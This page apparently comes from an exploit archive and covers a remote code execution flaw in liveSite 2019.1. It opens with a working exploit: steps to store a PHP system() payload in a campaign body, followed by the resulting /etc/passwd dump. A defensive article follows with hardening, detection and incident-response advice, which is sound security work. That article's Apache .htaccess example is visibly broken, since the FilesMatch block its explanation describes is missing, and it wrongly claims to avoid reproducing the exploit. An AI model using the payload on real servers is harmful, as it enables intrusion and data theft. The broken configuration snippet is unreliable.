liveSite Version 2019.1 - Remote Code Execution

Exploit Author: tmrswrr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-03-28
## Exploit Title: liveSite Version : 2019.1 Campaigns Remote Code Execution
### Date: 2024-1-9
### Exploit Author: tmrswrr
### Category: Webapps
### Vendor Homepage: https://livesite.com/
### Version : 2019.1
### Tested on: https://www.softaculous.com/apps/cms/liveSite

1 ) Login with admin cred Click Campaigns  >  Create Campaign > Choose format Plain Text , write in body  your payload : https://127.0.0.1/liveSite/livesite/add_email_campaign.php
 
    Payload : <?php echo system('cat /etc/passwd'); ?>

2 ) After save you will be see result : 

    Result: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash pinguzo:x:992:992::/etc/pinguzo:/bin/false webuzo:x:987:987::/home/webuzo:/bin/bash apache:x:986:985::/home/apache:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false


liveSite 2019.1 — Remote Code Execution: Overview, Risks, and Defenses

This article describes the class of remote code execution (RCE) issues reported against liveSite 2019.1 in January 2024, explains why they are critical, and gives practical, defensive guidance for detection, mitigation, and long‑term hardening. It avoids exploit reproduction and instead focuses on how defenders and administrators can reduce risk and recover safely.

Executive summary

Stored content handling bugs and misconfigured file execution policies can allow attackers to inject code that the application later executes. When an attacker gains RCE, they can escalate privileges, exfiltrate data, persist with web shells, and use the host as a foothold into the environment. If you run liveSite 2019.1 or similar software, assume any unpatched instance handling rich content or file uploads is at elevated risk and prioritize patching and containment.

Why this class of vulnerability matters

  • RCE provides attackers with direct command execution on the host or as the web server user, often enabling lateral movement and data theft.
  • Stored content vulnerabilities are particularly dangerous because they can be triggered by innocuous interactions (page rendering, campaign sending, preview functions).
  • Many CMS-like applications run with excessive privileges or allow file upload and storage in web‑accessible locations; these factors amplify impact.

Technical background (high level)

Common root causes for RCE in web applications include:

  • Accepting and storing user-provided content that is later evaluated or included by the server (unsafe eval/include).
  • Saving uploaded files inside webroot with executable interpretation enabled (e.g., PHP files accessible by the web server).
  • Insufficient sanitization/validation of content and MIME types, or trusting client-supplied Content-Type headers.
  • Using filesystem operations with inadequate path checks leading to write or overwrite of executable files.

Impact and indicators of compromise (IoCs)

Potential impacts when RCE is achieved:

  • Data exfiltration (database dumps, file theft).
  • Privilege escalation and lateral movement.
  • Deployment of web shells, backdoors, or persistent cron jobs.
  • Use of the host for further attacks (mail abuse, crypto‑mining, pivoting).

Defensive indicators to look for:

  • Stored content or database fields that suddenly contain programming language tags or unexpected markup (for example, server‑side code fragments saved in content).
  • Unusual requests to content-editing or campaign endpoints, especially POST requests with large payloads or containing <?php, <?, or other server‑side markers.
  • New files in web‑accessible directories with executable extensions (.php, .pl, .asp, etc.).
  • Unexpected processes, new network connections to unknown IPs, or scheduled tasks created by the web server user.
  • Spike in privilege‑escalation related log entries, authentication anomalies, or data transfer to external hosts.

Immediate containment and remediation steps (incident response)

  • Isolate the affected host from networks where practical to prevent lateral movement and data exfiltration.
  • Preserve logs (web server, application, system) and take forensic images before making changes that destroy evidence.
  • Rotate credentials used by the application (API keys, admin credentials, service accounts) and revoke suspicious sessions.
  • Scan for web shells and unexpected files under webroot; check common persistence locations (user crontabs, /etc/cron.* directories, systemd unit files).
  • Apply vendor patches or remove/replace vulnerable application instances. If patching is not immediately possible, apply compensating controls (see below).

Short-term mitigations (compensating controls)

  • Disable execution of server‑side scripts in directories used for user content/uploads.
  • Harden PHP configuration — disable dangerous functions (exec, system, passthru, shell_exec, proc_open) where feasible.
  • Deploy or tune a Web Application Firewall (WAF) to detect and block requests containing server‑side code fragments or suspicious payloads.
  • Restrict administrative interfaces by IP or VPN and enforce strong authentication (MFA) for admin accounts.
  • Ensure application runs with least privilege; separate database and file permissions so web process cannot modify critical files.

Long-term fixes and secure design guidance

  • Apply vendor patches and upgrades as the primary mitigation — vendor fixes address root causes more reliably than mitigations.
  • Store user‑provided files outside the webroot and serve them through a controlled access mechanism (signed URLs or a proxy that enforces Content‑Type and other checks).
  • Never evaluate or include user content with server‑side interpreters. If templating is needed, use a safe templating engine with strict auto-escaping and no execution features.
  • Validate file uploads by checking both client-supplied metadata (filename, content-type) and server-side detected MIME types; restrict allowed extensions and normalize filenames.
  • Conduct regular code reviews and static analysis focused on file system operations and any use of eval/include functionality.
  • Use runtime protections: process isolation (separate PHP‑FPM pools, containers), read-only filesystem mounts where appropriate, and AppArmor/SELinux profiles.

Practical configuration examples (defensive)

Example: disable execution of PHP files in an uploads directory using Nginx (store uploads under /var/www/uploads):

# nginx server block snippet
location /uploads/ {
    alias /var/www/uploads/;
    autoindex off;
    # Deny processing of PHP in this directory
    location ~ \.php$ {
        deny all;
        return 403;
    }
}

Explanation: This Nginx configuration serves files from /var/www/uploads but forbids requests that would execute PHP files in that location. Uploaded content is served as static files only.

Example: Apache .htaccess to prevent PHP execution in uploads (if Apache is used):

# place this in the uploads directory

    Require all denied

Explanation: The FilesMatch rule denies access to any request that targets an executable script extension inside the uploads directory, reducing risk if an attacker uploads a script file.

Example: PHP configuration hardening (php.ini):

; Disable dangerous functions if application does not need them
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
; Limit file operations to specific directories
open_basedir = /var/www/:/tmp/:/path/to/other/allowed

Explanation: disable_functions removes common dangerous call facilities, making it harder for an attacker to run arbitrary OS commands even if code execution occurs. open_basedir restricts PHP file access to the listed paths.

Example: safe file upload handling pattern (PHP, defensive):

function safeStoreUpload(array $file, string $storageDir) : ?string {
    // Basic checks
    if ($file['error'] !== UPLOAD_ERR_OK) return null;
    // Validate size and mime
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    $allowed = ['image/png','image/jpeg','application/pdf'];
    if (!in_array($mime, $allowed, true)) return null;
    // Generate safe filename and store outside webroot
    $basename = bin2hex(random_bytes(16)) . '-' . basename($file['name']);
    $target = rtrim($storageDir, '/') . '/' . $basename;
    if (!move_uploaded_file($file['tmp_name'], $target)) return null;
    // Set restrictive permissions
    chmod($target, 0640);
    return $basename;
}

Explanation: This function checks upload errors, verifies server‑detected MIME type against an allowlist, stores files with a randomized safe name outside the webroot, and sets restrictive permissions. Files are served via a controlled application endpoint that enforces authorization and content headers.

Detection recipes and monitoring suggestions

  • Alert on POST requests to content-edit endpoints that contain server‑side language markers (for example, "<?php", "<%") in request bodies or parameters; treat as high‑risk for stored injection.
  • Scan database content fields for occurrences of server‑side tags or suspicious code fragments — many RCE attempts persist malicious payloads in DB rows.
  • Monitor web server error logs for include/require failures or unexpected file execution errors; such logs can indicate attempted exploitation.
  • Schedule regular file integrity checks (hash inventories) for webroot and configuration directories to detect unexpected file additions or modifications.

Checklist for administrators

TaskPriority
Apply vendor security patch or upgrade liveSite to the latest supported releaseCritical
Disable server-side execution in user upload directoriesHigh
Harden PHP (disable_functions, open_basedir) and web server configurationsHigh
Deploy WAF rules to block suspicious payloads while patchingMedium
Rotate credentials, enforce MFA, and review admin accessHigh
Perform a full review for web shells, unexpected processes, and persistenceCritical
Implement secure upload and templating patterns in custom codeMedium

Summary

Remote code execution vulnerabilities in CMS-style products are high-risk and require rapid, prioritized response: patch, contain, and verify system integrity. Where immediate patching is impossible, use hardening controls (disable script execution in uploads, restrict PHP functions, and deploy WAF rules). After containment, perform a thorough forensic review, rotate secrets, and adopt long-term secure design patterns (store uploads outside webroot, validate MIME types, avoid server-side evaluation of user content).

If you operate affected systems, coordinate with the vendor for the authoritative patch, and consider engaging incident response professionals if you suspect compromise.